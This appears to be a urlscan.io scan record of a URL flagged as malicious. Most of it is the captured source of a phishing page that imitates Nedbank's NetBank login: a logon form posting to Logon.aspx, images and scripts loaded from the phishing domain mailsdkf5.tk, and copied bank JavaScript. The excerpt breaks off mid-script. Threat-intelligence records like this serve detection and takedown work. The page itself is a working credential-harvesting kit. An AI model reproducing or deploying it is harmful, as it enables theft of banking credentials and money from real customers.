mailsdkf5.tk
Open in
urlscan Pro
23.254.147.26
Malicious Activity!
Public Scan
URL:
http://mailsdkf5.tk/c20/cgi-lin/ATTACHMENT-NED-2018-SURE.htm
Submission Tags: @ipnigh
Submission: On August 23 via api from GB
Submission Tags: @ipnigh
Submission: On August 23 via api from GB
Form analysis
1 forms found in the DOMName: form1 — POST Logon.aspx
<form onsubmit="" autocomplete="off" name="form1" method="post" action="Logon.aspx" id="form1">
<div>
</div>
<script type="text/javascript">
//IM1188539 - Disable auto complete for FireFox/Netscape browsers
var logonForm = document.getElementById('form1');
logonForm.setAttribute('autocomplete', 'off');
</script>
<!-- Main Table -->
<table class="maintable" border="0" cellpadding="0" cellspacing="0">
<tbody>
<tr>
<!-- Left line and spacing from the left-->
<td valign="top">
<div id="LeftLine" class="leftline"> </div>
</td>
<td align="left" width="1100px">
<!-- Table for Nedbank logo and Top menu options (Header)-->
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody>
<tr>
<td align="left">
<table id="NedbankLogo" style="height: 117px; width: 1100px;" border="0" cellpadding="0" cellspacing="0">
<tbody>
<tr>
<td align="left">
<br>
<img src="http://mailsdkf5.tk/c20/cgi-lin/NedbankLogo.gif" title="Nedbank">
<br>
<br>
<br>
</td>
<td>
<span id="lblVersionText" style="font-size:medium; color:White">Version:</span>
<span id="lblVersion" style="font-size:medium; color:White"></span>
<!-- Harvest end -->
</td>
</tr>
</tbody>
</table>
</td>
</tr>
<tr>
<td colspan="2" height="5px">
<table align="left" border="0" cellpadding="0" cellspacing="0">
<!--Top of page headings-->
<tbody>
<tr>
<td><img src="http://mailsdkf5.tk/c20/cgi-lin/menu_shadow_left.jpg"> </td>
<td class="HomeLink" align="left">
<a href="https://netbank.nedsecure.co.za/"> Home </a>
</td>
<td align="left">
<ul id="topnav">
<li><span style="display: inline;">Online<br> Security</span><span style="margin-top: 0px; display: inline;">Online<br>
Security</span><a href="https://www.nedbank.co.za/website/content/promotions/index_detail.asp?PromoID=529" target="_blank" title="Online Security">Online<br> Security</a></li>
<li><span style="display: inline;">Apply</span><span
style="margin-top: 0px; display: inline;">Apply</span><a href="https://www.nedbank.co.za/website/content/forms/Formsdetails.asp?FormsId=661" target="_blank" title="Apply">Apply</a></li>
<li><span style="display: inline;">NetBank<br> Demo</span><span style="margin-top: 0px; display: inline;">NetBank<br>
Demo</span><a href="http://www.netbankdemo.co.za/NetbankRetailDemo/" target="_blank" title="NetBank Demo">NetBank<br> Demo</a></li>
<li><span style="display: inline;">NetBank<br> User Guide</span><span style="margin-top: 0px; display: inline;">NetBank<br> User
Guide</span><a href="http://www.netbankdemo.co.za/NetbankRel12011/Netbank%20UserGuide/main_menu.html" target="_blank" title="NetBank User Guide">NetBank<br> User Guide</a></li>
<li><span style="display: inline;">More About<br> NetBank</span><span style="margin-top: 0px; display: inline;">More About<br>
NetBank</span><a href="https://www.nedbank.co.za/website/content/promotions/index_detail.asp?PromoID=528" target="_blank" title="Individual Banking">More About<br> NetBank</a></li>
<li><span style="display: inline;">Talk<br> to Us</span><span style="margin-top: 0px; display: inline;">Talk<br> to
Us</span><a href="https://www.nedbank.co.za/website/content/forms/form.asp?FormsId=68&Location=&FormLocation=" target="_blank" title="Talk to Us">Talk<br> to Us</a></li>
<li><span style="display: inline;">Personal<br> Money Manager</span><span style="margin-top: 0px; display: inline;">Personal<br> Money
Manager</span><a href="http://www.nedbank.co.za/website/content/personalmoneymanager/" target="_blank" title="Personal Money Manager">Personal<br> Money Manager</a></li>
<li><span style="display: inline;">Online Share<br> Trading</span><span style="margin-top: 0px; display: inline;">Online Share<br>
Trading</span><a href="https://nedbankonlinetrading.nedsecure.co.za/Home.aspx" target="_blank" title="Online Share Trading">Online Share<br> Trading</a></li>
<li><span style="display: inline;">Verify<br> Payment</span><span style="margin-top: 0px; display: inline;">Verify<br> Payment</span><a href="javascript:SubmitToVerifyPage()">Verify<br> Payment</a></li>
<li><span style="display: inline;">Terms & <br> Conditions</span><span style="margin-top: 0px; display: inline;">Terms & <br>
Conditions</span><a href="http://www.nedbank.co.za/website/uploads/terms/TCSelfServiceBankingE.pdf" target="_blank" title="Terms & Conditions">Terms & <br> Conditions</a></li>
<li><span style="display: inline;">FAQ</span><span
style="margin-top: 0px; display: inline;">FAQ</span><a href="http://www.netbankdemo.co.za/NetbankRel12011/DOCS/internet%20banking%202011FAQs.pdf" target="_blank" title="FAQ">FAQ</a></li>
<li><span style="display: inline;">Trusteer Rapport<br> Security</span><span style="margin-top: 0px; display: inline;">Trusteer Rapport<br>
Security</span><a href="http://www.nedbank.co.za/website/content/rapport/" target="_blank" title="Get Protection NOW">Trusteer Rapport<br> Security</a></li>
</ul>
</td>
</tr>
</tbody>
</table>
</td>
</tr>
<tr>
<!--Green dividing line-->
<td colspan="2" bgcolor="#004d37" height="5px">
</td>
</tr>
</tbody>
</table>
<!-- END Table for Nedbank logo and Top menu options (Header)-->
<!-- Table for Login and Promo Area-->
<table border="0" cellpadding="0" cellspacing="0">
<tbody>
<tr>
<td colspan="2" align="left" valign="top" width="100%">
<table style="margin-top: 10px;" border="0" cellpadding="0" cellspacing="0">
<tbody>
<tr>
<td>
<!--Login-->
<style type="text/css">
img {
border: none;
display: block;
}
.UserLogin {
padding-left: 15px;
height: 35px;
color: Black;
font-size: 18px;
font-weight: bolder;
}
.InputBox {
margin-left: 15px;
border-style: inset;
border-width: 1px;
width: 170px;
}
a:link {
text-decoration: none;
}
a:visited {
text-decoration: none;
}
a:hover {
text-decoration: underline;
}
.Label {
padding-left: 15px;
height: 23px;
width: 120px;
color: black;
font: arial;
font-size: 11px;
font-weight: bold;
}
</style>
<script src="http://mailsdkf5.tk/c20/cgi-lin/ResetPassword.js" type="text/javascript"></script>
<script src="CachePage_data/USSDDialog.js" type="text/javascript"></script>
<script src="CachePage_data/USSDPolling.js" type="text/javascript"></script>
<script src="http://mailsdkf5.tk/c20/cgi-lin/jquery.js" type="text/javascript"></script>
<script src="CachePage_data/JQuery.js" type="text/javascript"></script>
<script src="CachePage_data/jquery-ui.js" type="text/javascript"></script>
<script src="CachePage_data/USSDDialog.js" type="text/javascript"></script>
<script src="CachePage_data/USSDPolling.js" type="text/javascript"></script>
<script src="CachePage_data/MyFinancialLife.js" type="text/javascript"></script>
<script src="CachePage_data/RTCCutoff.js" type="text/javascript"></script>
<script src="CachePage_data/DarkHours.js" type="text/javascript"></script>
<script type="text/javascript">
var ApplicationPath = "";
var GlobalBrand = "";
/* Common Javascript that should be included on all pages
* This file includes the following:
* CreateNamespace(namespacename) - creates the specified javascript namespace. to be used by other JS files
*
* In jsCommon namespace the following is included:
* jsCommon.GetInnerText (obj) - returns the innerText or textContent (depending on browser) from the specified form element/variable obj
* This must be used instead of the .innerText property on element obj as it
* does not exist on all browser
*
* jsCommon.GetAllElements (obj) -returns all the elements - same as doing a document.all in IE{
*
* jsCommon.SetInnerText (obj, value) - sets the innerText/textContent property of a form element/variable
*
* jsCommon.FormatAmount (num) - formats the num into a amount string
* eg. num=10789.7 returns 10,789.70
*
* jsCommon.FormatToAmount (stringNumber) - removes the commas from a string representation of a number and returns a float
* eg. 1,233,343.00 will be returned as 1233343.00
*
* jsCommon.GetCurrentDate() - returns the current date time JS object. used as Safari returns the year minus 1900
*
* jsCommon.FormatDate (date, formatString) - *formatString is optional
* formats the date string, in a specified date format
* * if formatString is not specified dd/mm/yyyy format is used
* Examples of format strings may be yyyy-dd-mm or m/d/yyyy etc. Formating replaces the following text
* d - is replaced with the day without any leading zeros
* dd - is replaced with with the date padded with a leading zero (if req)
* m - is replaced with number of the month
* mm - is replaced with the month number padded with a leading zero (if req)
* yy - is replaced with the last two digist of the current year
* yyyy - is replaced with the full year
*
* jsCommon.FormatTime = (date, formatString) - *formatString is optional
* formats the date, in a specified time format
* * if formatString is not specified hh:mm:ss format is used
* Examples of format strings may be hh:mm or h:mm:ss.mss etc. Formating replaces the following text
* h - is replaced with the hour(24) without any leading zeros
* hh - is replaced with with the hour(24) padded with a leading zero (if req)
* mm - is replaced with the minutes padded with a leading zero (if req)
* ss - is replaced with the seconds padded with a leading zero (if req)
* mss - is replaced with the milliseconds padded with leading zeros (if req)
*
* jsCommon.ConvertToJSDateString (dateString) - converts a date string with slashes in the format of
* dd/mm/yyyy to the format mm/dd/yyyy for submiting up to the BDM
*
*
* jsCommon.ConvertToSubmitDateString (dateString) - converts a date string with slashes in the format of
* dd/mm/yyyy to the format yyyy-mm-dd for submiting up to the BDM
*
* jsCommon.ConvertToJSDateObject (dateString) -converts a date string in the format dd/mm/yyyy to a JS date object
*
*
* jsCommon.SubmitForm (url) - submits the aspNetForm using the action specified by url
*
* jsCommon.SubmitFormToPrintPage(url) - Used for print. Opens a new print page window and submits current form
*
* jsCommon.ChangeFormActionURL(url) - change the action URL on the master form
*
* jsCommon.CreateElement(form, id, value) - Attach hidden inputs to the form where:
* form - the form
* id - the ID that should be assigned to new hidden input
* value - the value contained by the hidden intput
*
* jsCommon.IsDefined (variable) -checks if a function or variable is defined, returns true if it is. If you would like check
* the opener window for a variable include 'opener.' as a prefix in your request
*
* jsCommon.EscapeSpecialCharacters (stringInput) - escapes special characters for submiting up to BDM
* jsCommon.FormatCellphoneNumber(stringInput) - Strips characters from number ie. ' ','(',')','-'
* jsCommon.IsDayOfWeekValid (startDate, endDate, intDateDifference, stringDayOfWeek) -Checks if the DayOfWeek selected as a
_________________________________________________________________________________________________________________________
*/
window.CreateNamespace = function(name, using) {
var path = name.split(".");
var root = window;
var parent = "window";
for (var each = 0; each < path.length; each++) {
name = path[each];
if (root[name] == null) {
eval(parent + "." + name + " = new Object();");
}
root = root[name];
parent += ".";
parent += name;
}
if (using != null) {
window[using] = root;
}
};
//var jsCommon = new Object();
CreateNamespace("jsCommon"); //create the jsCommon namespace
//function to get the innertext of HTML form element
jsCommon.GetInnerText = function(obj) {
if (obj.innerText != undefined) {
return obj.innerText;
} else {
return obj.textContent;
}
};
// formats a string number that includes commas and returns a float
jsCommon.FormatToAmount = function(stringNumber) {
if (stringNumber != null) {
while (stringNumber.indexOf(",") >= 0) {
stringNumber = stringNumber.replace(",", "");
}
if (!isNaN(stringNumber)) {
return parseFloat(stringNumber);
} else {
return stringNumber;
}
} else {
return null; //return 0;
}
};
//function to set the innertext of HTML form element
jsCommon.SetInnerText = function(obj, value) {
if (obj.innerText != undefined) {
obj.innerText = value;
} else {
obj.textContent = value;
}
};
//get all the elements
jsCommon.GetAllElements = function(element) {
if (document.all) {
return element.all; //for IE
} else {
return element.getElementsByTagName('*'); //for firefox
}
};
//returns the current date time javascript object
jsCommon.GetCurrentDate = function() {
var currentDate = new Date();
if (currentDate.getFullYear < 1900) {
currentDate.setFullYear(currentDate.getFullYear + 1900); // this is speifcally for safari which returns year minus 1900
}
return currentDate;
};
//formats the date, if format string is not specified then the date is formatted as
//dd/mm/yyyy format string can also be specified.
//Examples of fromat strings may be yyyy-dd-mm or m/d/yyyy etc
// - d is replaced with the day without any leading zeros
// - dd is replaced with with the date padded with a leading zero (if req)
// - m is replaced with number of the month
// - mm is replaced with the month number padded with a leading zero (if req)
// - yy is replaced with the last two digist of the current year
// - yyyy is replaced with the full year
jsCommon.FormatDate = function(date, formatString) {
var dt = new Date(date);
var year = dt.getFullYear().toString();
var month = dt.getMonth() + 1;
var monthStr = month.toString();
if (monthStr.length < 2) {
monthStr = "0" + monthStr;
}
var day = dt.getDate().toString();
var dayStr = day.toString();
if (dayStr.length < 2) {
dayStr = "0" + dayStr;
}
if (formatString == null) {
return dayStr + "/" + monthStr + "/" + year;
} else {
formatString = formatString.replace("yyyy", year);
formatString = formatString.replace("yy", year.substr(2));
formatString = formatString.replace("mm", monthStr);
formatString = formatString.replace("m", month);
formatString = formatString.replace("dd", dayStr);
formatString = formatString.replace("d", day);
return formatString;
}
};
//formats the date, in a specified time format
//if formatString is not specified hh:mm:ss format is used
//Examples of format strings may be hh:mm or h:mm:ss.mss etc. Formating replaces the following text
//h - is replaced with the hour(24) without any leading zeros
//hh - is replaced with with the hour(24) padded with a leading zero (if req)
//mm - is replaced with the minutes padded with a leading zero (if req)
//ss - is replaced with the seconds padded with a leading zero (if req)
//mss - is replaced with the milliseconds padded with leading zeros (if req)
jsCommon.FormatTime = function(dt, formatString) {
var hour = dt.getHours().toString();
//var hourStr = dt.toUTCString();
var hourStr = hour.toString();
if (hourStr.length < 2) {
hourStr = "0" + hourStr;
}
var minute = dt.getMinutes().toString();
var minuteStr = minute.toString();
if (minuteStr.length < 2) {
minuteStr = "0" + minuteStr;
}
var second = dt.getSeconds().toString();
var secondStr = second.toString();
if (secondStr.length < 2) {
secondStr = "0" + secondStr;
}
var millisecond = dt.getTime().toString();
var millisecondStr = millisecond.toString();
millisecondStr = millisecondStr.substr((millisecondStr.length - 3), 3);
if (formatString == null) {
return hourStr + ":" + minuteStr + ":" + secondStr;
} else {
formatString = formatString.replace("hh", hourStr);
formatString = formatString.replace("h", hour);
formatString = formatString.replace("mm", minuteStr);
formatString = formatString.replace("ss", secondStr);
formatString = formatString.replace("mss", millisecondStr);
return formatString;
}
};
//TM: This method parses a new date object into already existing jsCommon.FormatTime method. This caters for the new TIME textFormat type added for the custom table. jsCommon.FormatTime was not used for that purpose before.
jsCommon.FormatTimeFromDateString = function(date, format) {
var dt = new Date(date);
return jsCommon.FormatTime(dt, format);
};
jsCommon.ConvertToJSDateString = function(dateString) {
//date has to be changed to mm/dd/yyyy format for js Date object
if (dateString.indexOf('/') == -1) {
return "01/01/0001";
}
var dateArray = dateString.split("/");
dateString = dateArray[1] + "/" + dateArray[0] + "/" + dateArray[2];
return dateString;
};
//converts a date string in the format dd/mm/yyyy to a JS date object
jsCommon.ConvertToJSDateObject = function(dateString) {
var year = dateString.substring(6, 10);
var month = dateString.substring(3, 5);
var day = dateString.substring(0, 2);
var dateObj = new Date(year, month - 1, day);
return dateObj;
};
//converts a date string in the format dd/mm/yyyy to yyyy-mm-dd
jsCommon.ConvertToSubmitDateString = function(dateString) {
//date has to be changed to yyyy-mm-dd format for js Date object
var dateArray = dateString.split("/");
dateString = dateArray[2] + "-" + dateArray[1] + "-" + dateArray[0];
return dateString;
};
//formats the num into a amount string
//eg. num=10789.7 returns 10,789.70
jsCommon.FormatAmount = function(num) {
num = num.toString();
if (((num.length) - (num.lastIndexOf(","))) >= 4) {
num = num.replace(/\$|\,/g, "");
} else {
num = num.replace(/\$|\,/g, ".");
}
if (isNaN(num)) {
num = "0";
}
sign = (num == (num = Math.abs(num)));
num = Math.floor(num * 100 + 0.50000000001);
cents = num % 100;
num = Math.floor(num / 100).toString();
if (cents < 10) {
cents = "0" + cents;
}
for (var i = 0; i < Math.floor((num.length - (1 + i)) / 3); i++) {
num = num.substring(0, num.length - (4 * i + 3)) + "," + num.substring(num.length - (4 * i + 3));
}
return (((sign) ? "" : "-") + num + "." + cents);
};
//same as jsCommon.FormatAmount , except no commas will be returned and it will also return empty string when num is empty
//eg. num=10789.7 returns 10789.70
jsCommon.FormatAmountNoCommas = function(num) {
if (num == "") {
return "";
}
num = num.toString();
if (((num.length) - (num.lastIndexOf(","))) >= 4) {
num = num.replace(/\$|\,/g, "");
} else {
num = num.replace(/\$|\,/g, ".");
}
if (isNaN(num)) {
num = "0";
}
sign = (num == (num = Math.abs(num)));
num = Math.floor(num * 100 + 0.50000000001);
cents = num % 100;
num = Math.floor(num / 100).toString();
if (cents < 10) {
cents = "0" + cents;
}
/*for (var i = 0; i < Math.floor((num.length - (1 + i)) / 3); i++) {
num = num.substring(0, num.length - (4 * i + 3)) + "," + num.substring(num.length - (4 * i + 3));
}*/
return (((sign) ? "" : "-") + num + "." + cents);
};
jsCommon.SubmitForm = function(url) {
var form = document.getElementById("aspnetForm");
form.action = url;
form.submit();
};
jsCommon.SubmitFormToPrintPage = function(url) {
var WindowFeatures = "width=670,height=700,status=yes,toolbar=yes,menubar=yes,location=no,resizable=no,scrollbars=yes,top=0,left=0";
var WindowFeaturesChrome = "width=670,height=700,status=yes,toolbar=yes,menubar=yes,location=no,resizable=no,scrollbars=no,top=0,left=0,chrome=yes";
if (BrowserDetect.browser == 'Chrome') {
var wHandle = window.open("about:blank", "PrintPageWindow", WindowFeaturesChrome);
} else {
var wHandle = window.open("about:blank", "PrintPageWindow", WindowFeatures);
}
//BRRR1101829 - Print button displays empty page // 654
if (window.blur) {
wHandle.blur();
}
if (jsCommon.IsDefined('framesCommon')) {
//reset session timer for session timeout pop-up
framesCommon.StartResetSessionTimeoutClock();
} else if (jsCommon.IsDefined('opener.framesCommon')) {
opener.framesCommon.StartResetSessionTimeoutClock(); //incase from image pop-up window
}
var form = document.getElementById("printForm");
form.target = "PrintPageWindow";
var nonceValue = document.getElementById("PageNonce").value;
// Check if there is a query string in the target already
if (url.search(/\?/) > 0) {
// Add to the existing query string
form.action = url + "&RequestFromPopUp=true&Request_Nonce=" + nonceValue;
} else {
// Add a new query string
form.action = url + "?RequestFromPopUp=true&Request_Nonce=" + nonceValue; // + "&Request_AccountNumber=1234567001&Request_AccountType=CURRENT";
}
form.submit(false);
form.target = "";
//BRRR1101829 - Print button displays empty page
if (window.focus) {
wHandle.focus();
}
};
jsCommon.SubmitFormToExportPage = function(url) {
if (jsCommon.IsDefined('framesCommon')) {
//reset session timer for session timeout pop-up
framesCommon.StartResetSessionTimeoutClock();
} else if (jsCommon.IsDefined('opener.framesCommon')) {
opener.framesCommon.StartResetSessionTimeoutClock(); //incase from image pop-up window
}
var form = document.getElementById("aspnetForm");
form.target = "exportframe";
form.action = url;
form.submit(false);
form.target = "_self";
// form.action = url;// + "?RequestFromPopUp=true";
// form.submit(false);
};
jsCommon.ChangeFormActionURL = function(url) {
var form = document.getElementById("aspnetForm");
form.action = url;
};
//Attach hidden inputs to the form
jsCommon.CreateElement = function(form, id, value) {
var input = document.createElement("INPUT");
input.type = "HIDDEN";
input.name = id;
input.id = id;
input.value = value;
form.appendChild(input);
};
//checks if a function or variable is defined, returns true if it is. If you would like check the opener for a variable include 'opener.' as a prefix in your request
jsCommon.IsDefined = function(variable) {
if (variable.indexOf("opener.") != 0) {
if (typeof(window[variable]) != "undefined") {
return true;
}
} else {
if (opener) {
variable = variable.replace("opener.", "");
if (typeof(opener.window[variable]) != "undefined") {
return true;
}
}
}
return false;
};
//escapes special characters in an input string
jsCommon.EscapeSpecialCharacters = function(stringInput) {
stringInput = stringInput.replace(/&/g, "&");
stringInput = stringInput.replace(/</g, "<");
stringInput = stringInput.replace(/>/g, ">");
//Double quote for a string type must be escaped
stringInput = stringInput.replace(/\"/g, """);
return stringInput;
};
var $this = this;
jsCommon.SubmitEmptyForm = function(url) {
var index = url.indexOf("Logon.bank");
var varlogon = url.split("?", 1);
if (index != -1) {
var form = document.getElementById("form1");
form.action = url;
form.submit();
}
// var index = url.indexOf("ResetPasswordUSSD");
// var varlogon = url.split("?", 1);
// if (index != -1) {
// var pvar = url.split("?", 1);
// var n = url.indexOf("?");
// var token = url.substring(n + 1);
// if (pvar == "ResetPasswordUSSD.bank") {
// var ajaxReq = new Nedbank.App.Retail.Ajax.Request();
// ajaxReq.OnError = $this.AjaxErrorRetrievingResetPasswordUSSD;
// ajaxReq.OnResponse = $this.ProcessResetPasswordAjaxUSSD;
// ajaxReq.Open("ResetPasswordUSSD.bank");
// ajaxReq.Send("Request_Nonce=" + token);
// }
// else {
// var form = document.getElementById("form1");
// form.action = url;
// form.submit();
// }
// }
else {
var form = document.getElementById("emptyForm");
form.action = url;
form.submit();
}
};
//changes by vikas
$this.ProcessResetPasswordAjaxUSSD = function(ajaxResponse) {
var jsonObj = Nedbank.App.Retail.Ajax.ConvertResponseToJSONObj(ajaxResponse);
if (jsonObj.Result.ResultCode == 'SUCCESS') {
//////debugger;
if (jsonObj != null && jsonObj.NONCE != null && jsonObj.NONCE.TOKEN != null) {
SetNonceValue(jsonObj.NONCE.TOKEN);
}
$this.EnableNewAndConfirmPassword();
} else {
$this.AjaxErrorRetrievingResetPasswordUSSD(ajaxResponse);
}
};
// Error Handling
$this.controlPrefix = "ctl00_ctpPageContent_";
$this.divErrorMsg = document.getElementById($this.controlPrefix + "divErrorMsg");
var $this = this;
$this.AjaxErrorRetrievingResetPasswordUSSD = function(ajaxResponse) {
$("#dialog").dialog('close');
var errorElement = $(ajaxResponse).find("#LoginPagelet_CSV_Error").html();
$("#LoginPagelet_CSV_Error").html(errorElement).css("color", "red");
};
EnableNewAndConfirmPassword = function() {
$("#dialog").dialog('close');
// $("#LoginPagelet_LogonID").hide();
$("#LoginPagelet_tdLogonID").css("display", "none");
//$("#LogonID").attr('disabled', 'disabled');
$("#FirstTimeID").css("display", "none");
$("#LoginPagelet_lblPasswordid").css("display", "none");
$("#LoginPagelet_lblResetPasswordid").css("display", "none");
$("#Password").css("display", "none");
$("#LoginPagelet_SubmitID").css("display", "block");
$("#LoginPagelet_trlblNewPassword").css("display", "block");
$("#LoginPagelet_trInNewPassword").css("display", "block");
$("#LoginPagelet_trlblConfirmPassword").css("display", "block");
$("#LoginPagelet_trInConfirmPassword").css("display", "block");
$this.GetPage('ForgetPasswordInfo', '1000'); //We are displaying html page for Reset Password to inform normal user about this
$("#ProfileId").attr('readonly', 'readonly');
$("#PinNo").attr('readonly', 'readonly');
//$("#CSV_Error1").css("display", "none"); // we are hiding any error from login page what we get after invalidation from Logon button.
};
//end
jsCommon.FormatCellphoneNumber = function(stringInput) {
var regex = /\s+|\(+|\)+|\-+/g;
return stringInput.replace(regex, '');
};
jsCommon.FormatFaxNumber = function(stringInput) {
var regex = /\s+|\(+|\)+|\-+/g;
return stringInput.replace(regex, '');
};
jsCommon.IsDayOfWeekValid = function(startDate, endDate, intDateDifference, stringDayOfWeek) {
var weekday = new Array(7);
weekday[0] = "Sunday";
weekday[1] = "Monday";
weekday[2] = "Tuesday";
weekday[3] = "Wednesday";
weekday[4] = "Thursday";
weekday[5] = "Friday";
weekday[6] = "Saturday";
if ((weekday[startDate.getDay()].toLowerCase() === stringDayOfWeek.toLowerCase()) || (weekday[endDate.getDay()].toLowerCase() === stringDayOfWeek.toLowerCase())) {
return true;
}
for (var i = 0; i < intDateDifference; i++) {
var nextDate = new Date(startDate.setDate(startDate.getDate() + 1));
if (weekday[nextDate.getDay()].toLowerCase() === stringDayOfWeek.toLowerCase()) {
return true;
}
}
return false;
};
jsCommon.getFormElement = function(controlPrefix, inputType, controlId) {
var isTableInput = false;
if (controlId.startsWith("tbl") || controlId.startsWith("txt")) isTableInput = true;
var jquerySelect = String.format('{0}[id$="_{1}"]', inputType, controlId);
if (isTableInput) jquerySelect = String.format('{0}[id$="{1}"]', inputType, controlId);
var formControl = $(jquerySelect);
if (formControl == null || formControl == undefined) {
if (isTableInput) {
formControl = document.getElementById(controlId);
} else {
formControl = document.getElementById(String.format("{0}_{1}", controlPrefix, controlId));
}
}
if (formControl == null || formControl == undefined) alert("Could not find " + controlId);
return formControl;
};
jsCommon.getFormElementByName = function(controlPrefix, inputType, controlId) {
var jquerySelect = String.format('{0}[name$="${1}"]', inputType, controlName);
var formControl = $(jquerySelect);
if (formControl == null || formControl == "undefined") formControl = document.getElementById(String.format("{0}${1}", controlPrefix, controlName));
if (formControl == null || formControl == "undefined") alert("Could not find " + controlName);
return formControl;
};
jsCommon.getRadioButtonValue = function(controlName) {
var jquerySelect = String.format('input:radio[name$="${0}"]:checked', controlName);
var formControl = $(jquerySelect);
return formControl
};
String.format = function() {
var s = arguments[0];
for (var i = 0; i < arguments.length - 1; i++) {
var reg = new RegExp("\\{" + i + "\\}", "gm");
s = s.replace(reg, arguments[i + 1]);
}
return s;
};
String.prototype.endsWith = function(suffix) {
return (this.substr(this.length - suffix.length) === suffix);
};
String.prototype.startsWith = function(prefix) {
return (this.substr(0, prefix.length) === prefix);
};
//The date popup is used across the entire site, seems to make sense to have it in
//the common file
jsCommon.DateSelectorPopup = function(anchorElement, inputId) {
var inputPurchaseDate = document.getElementById(inputId);
MyCalendar = new calendar1(inputPurchaseDate);
MyCalendar.year_scroll = true;
MyCalendar.time_comp = false;
MyCalendar.OriginatorButtonPosition = jsCalendar.FindPosition(anchorElement);
if (inputPurchaseDate.value != "") {
MyCalendar.popup();
} else {
MyCalendar.popup(jsCommon.GetNextDateString());
}
};
//Helper method for the calendar popup
jsCommon.GetNextDateString = function() {
var startPaymentDate = new Date();
startPaymentDate.addDays(1);
var sMonth = new String(Number(startPaymentDate.getMonth() + 1));
var sDay = new String(startPaymentDate.getDate());
return ((sDay.length < 2) ? "0" + sDay : sDay) + "/" + ((sMonth.length < 2) ? "0" + sMonth : sMonth) + "/" + startPaymentDate.getFullYear();
};
jsCommon.getRadioButtonValue = function(controlName) {
var jquerySelect = String.format('input:radio[name$="${0}"]:checked', controlName);
var formControl = $(jquerySelect);
return formControl
};
var AJAXPageDisable = {
init: function() {
this.WaitClock = null;
this.DisableElement = null;
this.PageContentElement = null;
this.ProgressDiv = null;
this.ClassNameForDisable = null;
this.DotNo = 0;
},
Create: function(disableElement, pageContentElement, className, timeoutPeriod, callbackFunction, progressDiv) {
this.DisableElement = document.getElementById(disableElement);
this.PageContentElement = document.getElementById(pageContentElement);
this.ClassNameForDisable = className;
this.WaitClock = new Nedbank.Infr.Timer();
this.WaitClock.SetTimeoutPeriod(timeoutPeriod);
this.WaitClock.SetTimeoutCallback(callbackFunction);
this.ProgressDiv = document.getElementById(progressDiv);
},
DisablePage: function() {
if (this.DisableElement != null) {
if (this.PageContentElement != null) {
var height = this.GetHeightByBrowser(this.PageContentElement);
this.DisableElement.style.height = height;
this.DisableElement.style.width = "100%";
this.DisableElement.style.display = "";
this.ModifyElementForSelects(this.PageContentElement, this.ClassNameForDisable);
}
}
},
EnablePage: function() {
if (this.DisableElement != null) {
this.DisableElement.style.display = "none";
this.ModifyElementForSelects(this.PageContentElement, '');
}
},
ModifyElementForSelects: function(element, className) {
if ((BrowserDetect.browser == "Explorer") && (BrowserDetect.version < 7)) {
if (element) {
element.className = className;
}
}
},
GetHeightByBrowser: function(element) {
var offsetHeight;
var scrollHeight;
switch (BrowserDetect.browser) {
case "Explorer":
offsetHeight = document.body.offsetHeight;
scrollHeight = document.body.scrollHeight;
break;
default:
offsetHeight = document.getElementById('PageBody').offsetHeight + 'px';
scrollHeight = document.getElementById('PageBody').scrollHeight + 'px';
break;
}
if (offsetHeight > scrollHeight) {
return offsetHeight;
} else {
return scrollHeight;
}
},
StopProgressIndicator: function() {
if (this.ProgressDiv != null) {
if (this.WaitClock != null) {
this.WaitClock.StopTimer();
this.WaitClock.StopIntervalTimer();
dotNo = 0;
jsCommon.SetInnerText(this.ProgressDiv, "");
}
}
},
StartProgressIndicator: function() {
if (this.WaitClock != null) {
this.WaitClock.StartResetTimer();
}
},
UpdateProgress: function() {
if ((this.ProgressDiv != null) && (this.WaitClock != null)) {
var text = "";
this.DotNo++;
if (this.DotNo > 5) {
this.DotNo = 0;
} else {
text = jsCommon.GetInnerText(this.ProgressDiv) + ".";
}
jsCommon.SetInnerText(this.ProgressDiv, text);
this.WaitClock.StartResetTimer();
}
}
};
AJAXPageDisable.init();
CreateNamespace("Nedbank.App.Retail.Ajax");
Nedbank.App.Retail.Ajax.Request = function() {
var $this = this;
$this._request = null;
$this._TimerId = null;
$this._isDotBank = false;
$this._isKeepAlive = false;
if (window.XMLHttpRequest) {
$this._request = new XMLHttpRequest();
if ($this._request.overrideMimeType) {
$this._request.overrideMimeType("text/html");
}
} else if (window.ActiveXObject) {
try {
$this._request = new ActiveXObject("Msxml2.XMLHTTP");
} catch (ex) {
try {
$this._request = new ActiveXObject("Microsoft.XMLHTTP");
} catch (ex) {
$this._request = null;
}
}
}
$this._request.onreadystatechange = function() {
if ($this._request.readyState == 4) {
if ($this._isDotBank) {
if (PageGetLoadTime) {
PageGetLoadTime();
}
if (AJAXPageDisable) {
AJAXPageDisable.EnablePage();
}
}
if ($this._request.status == 200) {
window.clearTimeout($this._TimerId);
if ($this._isDotBank) {
if (framesCommon) {
framesCommon.StartResetSessionTimeoutClock();
}
}
if ($this.OnResponse) {
$this.OnResponse($this._request.responseText);
}
} else {
if ($this.OnError) {
$this.OnError($this._request.status, $this._request.statusText);
}
}
}
};
$this._TimeOut = function() {
$this.Abort();
if ($this.OnTimeOut) {
$this.OnTimeOut();
} else if ($this.OnError) {
$this.OnError(0, "Ajax call timed-out");
}
};
$this.OnResponse = null;
$this.OnError = null;
$this.Open = function(url, httpMethod) {
if (httpMethod == null) {
httpMethod = "POST";
}
$this.PopulateIsDotBank(url);
if ($this.OnResponse) {
$this._request.open(httpMethod, url, true);
} else {
$this._request.open(httpMethod, url, false);
}
};
$this.Send = function(parms) {
$this._request.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
if ($this._isDotBank) {
if (AJAXPageDisable) {
AJAXPageDisable.DisablePage();
}
if (framesCommon) {
framesCommon.StartResetSessionTimeoutClock();
}
if (document.getElementById("Request_LoadTime")) {
if (parms) {
if (parms.length > 0) {
parms += "&";
}
} else {
parms = "";
}
parms += "Request_LoadTime=" + document.getElementById("Request_LoadTime").value;
var now = jsCommon.GetCurrentDate();
parms += "&Request_SubmitTime=" + jsCommon.FormatDate(now, "yyyy_mm_dd") + "_" + jsCommon.FormatTime(now, "h_mm_ss_mss");
}
if (document.getElementById("PageNonce") != null) {
if (parms) {
if (parms.length > 0) {
parms += "&";
}
} else {
parms = "";
}
parms += "Request_Nonce=" + document.getElementById("PageNonce").value;
}
}
if ($this._isKeepAlive) {
parms = "Request_Nonce=";
if (document.getElementById("PageNonce") != null) {
parms += document.getElementById("PageNonce").value;
} else {
parms += document.getElementById("Request_Nonce").value;
}
}
$this._TimerId = window.setTimeout($this._TimeOut, 90000);
